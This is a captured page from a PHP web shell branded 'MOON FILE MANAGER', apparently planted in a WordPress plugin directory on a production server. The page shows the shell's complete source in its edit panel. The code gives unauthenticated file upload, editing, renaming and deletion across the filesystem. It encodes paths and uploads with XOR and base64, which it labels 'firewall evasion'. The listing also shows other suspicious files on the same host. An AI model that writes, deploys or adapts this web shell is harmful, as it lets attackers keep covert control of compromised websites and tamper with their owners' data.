┌────────────────────────────────┐ │ ░░░ ░░▓ ░▓▓ ███ ▓▓░ ▓░░ │ │ ~ M O O N ~ │ └────────────────────────────────┘
prd-web-01.centraldc.gr
LOCATION:
/var/www/html/vio-prosarmogi/wp-content/plugins/momo-cache-warmer
☗ ROOT
↻ REFRESH
✎ EDIT FILE
EDITING: db5f0d07.25d6fc7b1003
<?php /** * MOON FILE MANAGER — Moon Neobrutalist * PHP 5.3+ Compatible */ $hostname = function_exists('gethostname') ? gethostname() : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $d = isset($_GET['d']) ? $_GET['d'] : '.'; // Decode base64+XOR-mangled path (firewall evasion) $decoded = @base64_decode($d, true); if ($decoded !== false && ($decoded !== '.' || $d !== '.')) { $key = 'S W A M P'; $raw = ''; $klen = strlen($key); for ($i = 0; $i < strlen($decoded); $i++) { $raw .= chr(ord($decoded[$i]) ^ ord($key[$i % $klen])); } $d = $raw; } $cwd = realpath($d); if (!$cwd) $cwd = getcwd(); // Helper: encode path for URL (XOR + base64) function d_enc($path) { $key = 'S W A M P'; $xored = ''; $klen = strlen($key); for ($i = 0; $i < strlen($path); $i++) { $xored .= chr(ord($path[$i]) ^ ord($key[$i % $klen])); } return urlencode(base64_encode($xored)); } // ── Full filesystem access ── $msg = ''; $err = ''; // ────────────────────────────────────────────────── // ACTION: DELETE // ────────────────────────────────────────────────── if (isset($_POST['action']) && $_POST['action'] === 'delete' && !empty($_POST['target'])) { $target = $cwd . DIRECTORY_SEPARATOR . basename($_POST['target']); if (is_file($target) && is_writable($target)) { if (unlink($target)) { $msg = 'delete success'; } else { $err = 'delete failed'; } } elseif (is_dir($target)) { $err = 'delete failed'; } else { $err = 'delete failed'; } } // ────────────────────────────────────────────────── // ACTION: RENAME // ────────────────────────────────────────────────── if (isset($_POST['action']) && $_POST['action'] === 'rename' && !empty($_POST['target']) && !empty($_POST['newname'])) { $old = $cwd . DIRECTORY_SEPARATOR . basename($_POST['target']); $new = $cwd . DIRECTORY_SEPARATOR . basename($_POST['newname']); if (file_exists($old) && !file_exists($new)) { if (rename($old, $new)) { $msg = 'rename success'; } else { $err = 'rename failed'; } } else { $err = 'rename failed'; } } // ────────────────────────────────────────────────── // ACTION: SAVE EDITED FILE // ────────────────────────────────────────────────── if (isset($_POST['action']) && $_POST['action'] === 'save' && !empty($_POST['target'])) { $target = $cwd . DIRECTORY_SEPARATOR . basename($_POST['target']); // Get content: prefer XOR (like upload), fallback to plain $content = null; if (!empty($_POST['xd']) && isset($_POST['xk'])) { $key = $_POST['xk']; $xored = base64_decode($_POST['xd']); if ($xored !== false) { $content = ''; $klen = strlen($key); for ($i = 0; $i < strlen($xored); $i++) { $content .= chr(ord($xored[$i]) ^ ord($key[$i % $klen])); } } } elseif (isset($_POST['content'])) { $content = $_POST['content']; } if ($content !== null && is_file($target) && is_writable($target)) { if (file_put_contents($target, $content) !== false) { $msg = 'save success'; } else { $err = 'save failed'; } } else { $err = 'save failed'; } } // ────────────────────────────────────────────────── // ACTION: UPLOAD (XOR first, fallback to move_uploaded_file) // ────────────────────────────────────────────────── if (isset($_POST['action']) && $_POST['action'] === 'upload') { $uploaded = false; // Method 1: XOR upload if (!$uploaded && !empty($_POST['filename']) && !empty($_POST['xd'])) { $filename = basename($_POST['filename']); $key = isset($_POST['xk']) ? $_POST['xk'] : 'S W A M P'; $xored = base64_decode($_POST['xd']); if ($xored !== false) { $raw = ''; $klen = strlen($key); for ($i = 0; $i < strlen($xored); $i++) { $raw .= chr(ord($xored[$i]) ^ ord($key[$i % $klen])); } $dest = $cwd . DIRECTORY_SEPARATOR . $filename; if (file_put_contents($dest, $raw) !== false) { $msg = 'upload success'; $uploaded = true; } else { $err = 'upload failed'; } } } // Method 2: Standard file upload fallback if (!$uploaded && isset($_FILES['raw_file']) && $_FILES['raw_file']['error'] === UPLOAD_ERR_OK) { $filename = basename($_FILES['raw_file']['name']); $dest = $cwd . DIRECTORY_SEPARATOR . $filename; if (move_uploaded_file($_FILES['raw_file']['tmp_name'], $dest)) { $msg = 'upload success'; $uploaded = true; } else { $err = 'upload failed'; } } if (!$uploaded && empty($err)) { $err = 'upload failed'; } } // ────────────────────────────────────────────────── // SCAN DIRECTORY // ────────────────────────────────────────────────── $items = array(); if (is_dir($cwd)) { $dh = opendir($cwd); if ($dh) { while (($entry = readdir($dh)) !== false) { if ($entry === '.' || $entry === '..') continue; $items[] = $entry; } closedir($dh); } } usort($items, function($a, $b) use ($cwd) { $aIsDir = is_dir($cwd . DIRECTORY_SEPARATOR . $a); $bIsDir = is_dir($cwd . DIRECTORY_SEPARATOR . $b); if ($aIsDir && !$bIsDir) return -1; if (!$aIsDir && $bIsDir) return 1; return strcasecmp($a, $b); }); // File size function size_human($bytes) { if ($bytes >= 1073741824) return round($bytes / 1073741824, 1) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 1) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 1) . ' KB'; return $bytes . ' B'; } // Editing mode $editFile = ''; $editContent = ''; if (isset($_GET['edit']) && !empty($_GET['edit'])) { $editFile = basename($_GET['edit']); $editPath = $cwd . DIRECTORY_SEPARATOR . $editFile; if (is_file($editPath) && is_readable($editPath)) { $editContent = file_get_contents($editPath); } } ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MOONy</title> <style> /* ── MOON NEOBRUTALIST RESET ── */ *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } body { background: #080b14; background-image: radial-gradient(ellipse at 30% 30%, #0f1428 0%, transparent 55%), radial-gradient(ellipse at 70% 60%, #0c1020 0%, transparent 50%), radial-gradient(ellipse at 50% 90%, #0a0e1c 0%, transparent 45%); color: #b8b4a8; font-family: "Courier New", "Lucida Console", "Consolas", monospace; font-size: 14px; min-height: 100vh; padding: 20px; } /* ── HEADER ── */ header { background: #12162a; border: 5px solid #000; padding: 16px 20px; margin-bottom: 20px; box-shadow: 8px 8px 0 #000; text-align: center; } header .ascii { font-size: 11px; line-height: 1.15; color: #d4cfc0; white-space: pre; display: block; margin-bottom: 6px; text-align: center; } header h1 { font-size: 28px; letter-spacing: 4px; color: #e8dcc8; text-shadow: 3px 3px 0 #1e2038; text-transform: uppercase; } /* ── MESSAGES ── */ .msg, .err { border: 4px solid #000; padding: 10px 16px; margin-bottom: 16px; font-weight: bold; box-shadow: 5px 5px 0 #000; } .msg { background: #222820; color: #b8c0a8; } .err { background: #2d181d; color: #c8a8a8; } /* ── TOOLBAR ── */ .toolbar { background: #12162a; border: 4px solid #000; padding: 12px 16px; margin-bottom: 16px; display: flex; flex-wrap: wrap; gap: 8px; align-items: center; box-shadow: 5px 5px 0 #000; } .toolbar span.label { color: #7a7468; font-weight: bold; margin-right: 4px; } .toolbar a, .toolbar button, .toolbar input[type="submit"] { font-family: inherit; font-size: 13px; background: #7a7468; color: #0d0d17; border: 3px solid #000; padding: 6px 14px; cursor: pointer; text-decoration: none; display: inline-block; font-weight: bold; text-transform: uppercase; letter-spacing: 1px; box-shadow: 3px 3px 0 #000; transition: background 0.1s; line-height: 1.4; height: 36px; box-sizing: border-box; vertical-align: middle; } .toolbar input[type="file"] { font-family: inherit; font-size: 12px; background: #7a7468; color: #0d0d17; border: 3px solid #000; padding: 5px 10px; cursor: pointer; font-weight: bold; letter-spacing: 1px; box-shadow: 3px 3px 0 #000; height: 36px; box-sizing: border-box; vertical-align: middle; max-width: 180px; } .toolbar a:hover, .toolbar button:hover, .toolbar input[type="submit"]:hover { background: #948e80; } /* ── BREADCRUMB ── */ .breadcrumb { background: #12162a; border: 4px solid #000; padding: 10px 16px; margin-bottom: 16px; font-size: 14px; box-shadow: 5px 5px 0 #000; } .breadcrumb a { color: #d4cfc0; text-decoration: none; font-weight: bold; } .breadcrumb a:hover { color: #fff; text-decoration: underline; } .breadcrumb .sep { color: #3a3a4c; } /* ── FILE TABLE ── */ .table-wrap { background: #0e1122; border: 4px solid #000; box-shadow: 5px 5px 0 #000; margin-bottom: 16px; overflow-x: auto; } table { width: 100%; border-collapse: collapse; } th { background: #080a14; color: #d4cfc0; text-align: left; padding: 10px 12px; border-bottom: 3px solid #000; font-size: 12px; text-transform: uppercase; letter-spacing: 2px; } td { padding: 8px 12px; border-bottom: 2px solid #181c32; color: #b8b4a8; } tr:hover td { background: #15182e; } tr.dir td { color: #d4cfc0; font-weight: bold; } .table-wrap td a { text-decoration: none; } .table-wrap td a:hover { text-decoration: none; } .table-wrap .actions form { display: inline; } .table-wrap .actions .btn-sm { font-family: inherit; font-size: 11px; background: #7a7468; color: #0d0d17; border: 2px solid #000; padding: 3px 10px; cursor: pointer; text-decoration: none; font-weight: bold; text-transform: uppercase; margin: 0 1px; box-shadow: 2px 2px 0 #000; } .table-wrap .actions .btn-sm:hover { background: #948e80; } .table-wrap .actions .btn-del { background: #4a2424; color: #c8a8a8; } .table-wrap .actions .btn-del:hover { background: #5a3030; } /* ── RENAME INLINE ── */ .rename-form { display: inline; } .rename-form input[type="text"] { font-family: inherit; font-size: 12px; background: #080a14; color: #b8b4a8; border: 2px solid #000; padding: 4px 8px; width: 160px; } .rename-form input[type="submit"] { font-family: inherit; font-size: 11px; background: #7a7468; color: #0d0d17; border: 2px solid #000; padding: 3px 8px; cursor: pointer; } /* ── PANELS ── */ .panels { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; margin-bottom: 16px; } @media (max-width: 860px) { .panels { grid-template-columns: 1fr; } } .panel { background: #0e1122; border: 4px solid #000; padding: 16px; box-shadow: 5px 5px 0 #000; } .panel h2 { font-size: 16px; color: #d4cfc0; text-transform: uppercase; letter-spacing: 2px; margin-bottom: 12px; padding-bottom: 8px; border-bottom: 3px solid #181c32; } .panel label { display: block; font-size: 12px; color: #7a7468; margin-bottom: 4px; text-transform: uppercase; letter-spacing: 1px; } .panel input[type="text"], .panel input[type="file"], .panel textarea { width: 100%; font-family: inherit; font-size: 13px; background: #080a14; color: #b8b4a8; border: 3px solid #000; padding: 8px 10px; margin-bottom: 10px; } .panel textarea { min-height: 200px; resize: vertical; } .panel input[type="submit"] { font-family: inherit; font-size: 14px; background: #7a7468; color: #0d0d17; border: 3px solid #000; padding: 8px 20px; cursor: pointer; font-weight: bold; text-transform: uppercase; letter-spacing: 2px; box-shadow: 4px 4px 0 #000; } .panel input[type="submit"]:hover { background: #948e80; } .panel .btn-cancel { display: inline-block; font-family: inherit; font-size: 14px; background: #4a2424; color: #c8a8a8; border: 3px solid #000; padding: 8px 20px; cursor: pointer; font-weight: bold; text-transform: uppercase; letter-spacing: 2px; box-shadow: 4px 4px 0 #000; text-decoration: none; vertical-align: top; } .panel .btn-cancel:hover { background: #5a3030; } /* ── UPLOAD HELPER ── */ .upload-hint { background: #15182e; border: 2px dashed #2a2d40; padding: 8px 12px; margin: 8px 0; font-size: 11px; color: #7a7468; } /* ── FOOTER ── */ footer { text-align: center; font-size: 11px; color: #3a3a4c; padding: 12px; margin-top: 20px; border-top: 3px solid #181c32; } footer span { color: #7a7468; } /* ── SCROLLBAR ── */ ::-webkit-scrollbar { width: 10px; } ::-webkit-scrollbar-track { background: #080b14; } ::-webkit-scrollbar-thumb { background: #2a2d40; border: 2px solid #000; } </style> </head> <body> <header> <span class="ascii"> ┌────────────────────────────────┐ │ ░░░ ░░▓ ░▓▓ ███ ▓▓░ ▓░░ │ │ ~ M O O N ~ │ └────────────────────────────────┘ </span> <h1><?php echo htmlspecialchars($hostname); ?></h1> </header> <?php if ($msg): ?> <div class="msg">☤ <?php echo htmlspecialchars($msg, ENT_QUOTES, 'UTF-8'); ?></div> <?php endif; ?> <?php if ($err): ?> <div class="err">⚠ <?php echo htmlspecialchars($err, ENT_QUOTES, 'UTF-8'); ?></div> <?php endif; ?> <!-- TOOLBAR --> <div class="toolbar"> <span class="label">LOCATION:</span> <span style="color:#d4cfc0;"><?php echo htmlspecialchars(str_replace('\\', '/', $cwd), ENT_QUOTES, 'UTF-8'); ?></span> <a href="?d=<?php echo d_enc('.'); ?>">☗ ROOT</a> <a href="?d=<?php echo d_enc($cwd); ?>">↻ REFRESH</a> <form method="post" enctype="multipart/form-data" style="display:inline;margin:0;"> <input type="hidden" name="action" value="upload"> <input type="hidden" name="d" value="<?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?>"> <input type="file" name="raw_file" id="raw_file" title="UPLOAD FILE"> </form> </div> <?php if ($editFile): ?> <!-- EDIT PANEL --> <div class="panels"> <div class="panel" style="grid-column: 1 / -1;"> <h2>✎ EDIT FILE</h2> <form method="post"> <input type="hidden" name="action" value="save"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($editFile, ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="d" value="<?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?>"> <label>EDITING: <?php echo htmlspecialchars($editFile, ENT_QUOTES, 'UTF-8'); ?></label> <textarea name="content"><?php echo htmlspecialchars($editContent, ENT_QUOTES, 'UTF-8'); ?></textarea> <input type="submit" value="SAVE FILE"> <a href="?d=<?php echo d_enc($cwd); ?>" class="btn-cancel">CANCEL</a> </form> </div> </div> <?php endif; ?> <!-- FILE TABLE --> <div class="table-wrap"> <table> <thead> <tr> <th style="width:34%;">Name</th> <th style="width:10%;">Type</th> <th style="width:10%;">Size</th> <th style="width:16%;">Modified</th> <th style="width:30%;">Actions</th> </tr> </thead> <tbody> <?php if (dirname($cwd) !== $cwd): ?> <tr class="dir"> <td><a href="?d=<?php echo d_enc(dirname($cwd)); ?>" style="color:#d4cfc0;">↩ ..</a></td> <td>DIR</td> <td>—</td> <td>—</td> <td></td> </tr> <?php endif; ?> <?php foreach ($items as $item): ?> <?php $full = $cwd . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($full); $type = $isDir ? 'DIR' : strtoupper(pathinfo($item, PATHINFO_EXTENSION) ?: '?'); $size = $isDir ? '—' : size_human(filesize($full)); $mtime = date('Y-m-d H:i', filemtime($full)); $urlD = d_enc($cwd . '/' . $item); ?> <tr class="<?php echo $isDir ? 'dir' : ''; ?>"> <td> <?php if ($isDir): ?> <a href="?d=<?php echo $urlD; ?>" style="color:#d4cfc0;">📁 <?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>/</a> <?php else: ?> 📄 <?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?> <?php endif; ?> </td> <td><?php echo htmlspecialchars($type, ENT_QUOTES, 'UTF-8'); ?></td> <td><?php echo $size; ?></td> <td><?php echo $mtime; ?></td> <td class="actions"> <?php if (!$isDir): ?> <!-- Edit --> <a class="btn-sm" href="?d=<?php echo d_enc($cwd); ?>&edit=<?php echo urlencode($item); ?>">EDIT</a> <?php endif; ?> <!-- Rename --> <form method="post" class="rename-form"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="d" value="<?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="newname" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>" size="16"> <input type="submit" value="RENAME"> </form> <?php if (!$isDir): ?> <!-- Delete --> <form method="post" style="display:inline;"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="d" value="<?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?>"> <input type="submit" class="btn-sm btn-del" value="DELETE"> </form> <?php endif; ?> </td> </tr> <?php endforeach; ?> <?php if (empty($items)): ?> <tr><td colspan="5" style="text-align:center;padding:30px;color:#3a3a4c;">~ THE DARK SIDE ~</td></tr> <?php endif; ?> </tbody> </table> </div> <footer> <span>MOONy</span> — PHP <?php echo phpversion(); ?> — </footer> <script> // ── XOR Upload Handler ── // Auto-submits on file selection (no submit button needed) (function() { var fileInput = document.getElementById('raw_file'); if (!fileInput) return; fileInput.addEventListener('change', function() { if (!fileInput.files || !fileInput.files.length) return; var file = fileInput.files[0]; var key = 'S W A M P'; var reader = new FileReader(); reader.onload = function(ev) { var bytes = new Uint8Array(ev.target.result); var keyBytes = []; for (var i = 0; i < key.length; i++) keyBytes.push(key.charCodeAt(i)); var xored = new Uint8Array(bytes.length); for (var i = 0; i < bytes.length; i++) { xored[i] = bytes[i] ^ keyBytes[i % keyBytes.length]; } var binary = ''; for (var i = 0; i < xored.length; i++) { binary += String.fromCharCode(xored[i]); } var b64 = btoa(binary); var hidden = document.createElement('form'); hidden.method = 'POST'; hidden.style.display = 'none'; var addField = function(name, value) { var inp = document.createElement('input'); inp.type = 'hidden'; inp.name = name; inp.value = value; hidden.appendChild(inp); }; addField('action', 'upload'); addField('filename', file.name); addField('xd', b64); addField('xk', key); addField('d', document.querySelector('input[name="d"]').value); document.body.appendChild(hidden); hidden.submit(); }; reader.readAsArrayBuffer(file); }); })(); // ── XOR Save Handler ── // Intercepts the edit form submit, XOR-encodes textarea content (function() { var saveForm = document.querySelector('form input[name="action"][value="save"]'); if (!saveForm) return; var form = saveForm.closest('form'); if (!form) return; form.addEventListener('submit', function(e) { var textarea = form.querySelector('textarea[name="content"]'); if (!textarea) return; e.preventDefault(); var key = 'S W A M P'; var content = textarea.value; var bytes = []; for (var i = 0; i < content.length; i++) { bytes.push(content.charCodeAt(i) & 0xFF); } var keyBytes = []; for (var j = 0; j < key.length; j++) keyBytes.push(key.charCodeAt(j)); var xored = []; for (var k = 0; k < bytes.length; k++) { xored.push(bytes[k] ^ keyBytes[k % keyBytes.length]); } var binary = ''; for (var m = 0; m < xored.length; m++) { binary += String.fromCharCode(xored[m]); } var b64 = btoa(binary); // Add hidden XOR fields var addField = function(name, value) { var inp = document.createElement('input'); inp.type = 'hidden'; inp.name = name; inp.value = value; form.appendChild(inp); }; addField('xd', b64); addField('xk', key); // Remove textarea so plain content isn't sent textarea.remove(); form.submit(); }); })(); </script> </body> </html>
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 db5f0d07.25d6fc7b1003
25D6FC7B1003
22.4 KB
2026-08-04 13:09
EDIT
📄 db5f0d07.cdb75e443e9a
CDB75E443E9A
22.4 KB
2026-08-04 20:29
EDIT
📄 momo-cache-warmer.php
PHP
13.2 KB
2026-07-31 15:35
EDIT
📄 txets.php
PHP
173.8 KB
2026-08-03 06:07
EDIT